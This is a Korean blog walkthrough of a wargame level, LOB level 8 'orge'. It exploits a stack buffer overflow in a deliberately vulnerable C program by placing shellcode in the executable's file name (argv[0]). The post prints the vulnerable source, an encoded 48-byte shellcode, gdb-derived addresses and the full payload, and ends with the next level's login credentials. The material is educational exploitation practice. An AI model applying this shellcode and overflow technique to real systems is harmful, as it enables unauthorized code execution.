DongDD's IT

[LOB] Level8 orge 본문

Wargame/LOB

[LOB] Level8 orge

DongDD 2018. 1. 20. 19:15

[LOB] Level8 orge


Problem



이번 문제도 마찬가지로 troll 실행 파일과 troll.c 소스 코드 파일이 있었다.

소스 코드를 확인해보았다.


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#include <stdio.h>
#include <stdlib.h>
 
extern char **environ;
 
main(int argc, char *argv[])
{
        char buffer[40];
        int i;
 
        // here is changed
        if(argc != 2){
                printf("argc must be two!\n");
                exit(0);
        }
 
        // egghunter
        for(i=0; environ[i]; i++)
                memset(environ[i], 0, strlen(environ[i]));
 
        if(argv[1][47!= '\xbf')
        {
                printf("stack is still your friend.\n");
                exit(0);
        }
 
        // check the length of argument
        if(strlen(argv[1]) > 48){
                printf("argument is too long!\n");
                exit(0);
        }
 
        strcpy(buffer, argv[1]);
        printf("%s\n", buffer);
 
        // buffer hunter
        memset(buffer, 040);
 
        // one more!
        memset(argv[1], 0, strlen(argv[1]));
}
 
cs


소스 코드는 저번 문제들과 비슷하게 되어있었고 몇 줄만 추가되어 있었다.

buffer의 size는 40 bytes이고 지난 문제에서는 if(argc < 2)로 되어있었지만 이번 문제에서는 if(argc != 2)로 되어있는 것으로 보아 argv[2]를 사용하는 방법은 어려워보인다.

extern으로 환경 변수를 가져와 모두 초기화해주고 argv[1]의 48번째는"\xbf"여야하고 길이가 48보다 크면 안된다는 것은 똑같았다.

그 후에는 strcpy를 통해 buffer에 argv[1]을 복사해주고 buffer를 초기화 해준다.

그리고 추가된 것으로 argv[1]을 초기화해준다.


추가된 줄을 보고 이전 문제들에서 원래 의도는 argv[1]에 shell code를 넣고 argv[1]로 리턴하는 것을 의도한 문제들이였다고 생각이 들었다.


stack에 있는 변수를 사용해야 하는데 무엇을 사용해야 할지 처음에 감이 잘 안오다가 계속 생각해보다가 argv[0]을 사용해야 될 것 같다는 생각이 들었다.



Solution


파일 이름을 shell code로 바꿔 문제를 푸는 방식으로 시도해보았고 해결할 수 있었다.


1. argv[0]에 Shell code 이용



일단 먼저 troll 파일을 NOP과 shell code로 이루어진 파일로 copy했다. 이상한 문자로 되어있어 실행하기 어려워 tab을 통해 실행하기 위해 새로운 폴더를 만들어 복사한 실행 파일만 놔두었다.

그 후 gdb를 통해 이 파일에 argv[0]이 어디에 들어가는지 확인해보았다.


사용한 shell code(48 bytes)


\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81 


이번 문제에서는 다른 shell code를 사용했다. 다른 shell code는 파일 이름으로 설정할 수 없다고 나오는데 그 이유를 찾아보니 "\x2f"를 가진 파일 이름을 생성할 수 없어 "\x2f"가 사용되지 않는 shell code를 선택했다.



gdb를 통해 파일 이름(argv[0])이 들어간 주소를 확인해보았다. 


argv[0]의 주소 : 0xbfffbd4


0xbffffbcd부터 시작되지만 NOP을 사용했기 때문에 여유롭게 0xbffffbd4라고 생각하고 payload를 작성했다.


Payload = ./파일 이름(argv[0], 48 bytes의 shell code) + dummy(44 bytes) + return address(argv[0]의 주소)


위 payload를 가지고 실행해보았다.



위 payload로 실행해보았더니 segmentation fault가 나왔다. 아마 저번 문제들에서 있었던 문제들과 같은 문제일거라고 생각이 들었고 core파일로 주소를 확인해보았다.

파일 이름이 이상하기 때문에 core파일을 상위 폴더로 옮겨 gdb로 확인해보았다.

gdb filename ../core


주소를 확인해보니 argv[0]이 들어간 주소가 다른 것을 볼 수 있었다.


argv[0]의 주소 : 0xbfffb80


이 주소로 다시 payload를 작성해 시도해보니 shell을 얻을 수 있었다.

복사했던 파일을 지우고 troll 파일의 이름을 바꾸어 시도해 troll 권한의 shell을 얻을 수 있었다.






**************     Answer & Flag     **************



1. argv[0]에 Shell code 이용


Payload = ./파일 이름(argv[0], 48 bytes의 shell code) + dummy(44 bytes) + return address(argv[0]의 주소)


argv[0] = "\x90"*20 + "\xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\xb1\x0c\xce\x81"


argv[1] = "A"*44 + "\x80\xfb\xff\xbf"'





Next ID : troll

Next PW : aspirin

'Wargame > LOB' 카테고리의 다른 글

[LOB] Level10 vampire  (0) 2018.01.21
[LOB] Level9 troll  (0) 2018.01.21
[LOB] Level7 darkelf  (0) 2018.01.19
[LOB] Level6 wolfman  (0) 2018.01.19
[LOB] Level5 orc  (0) 2018.01.18
Comments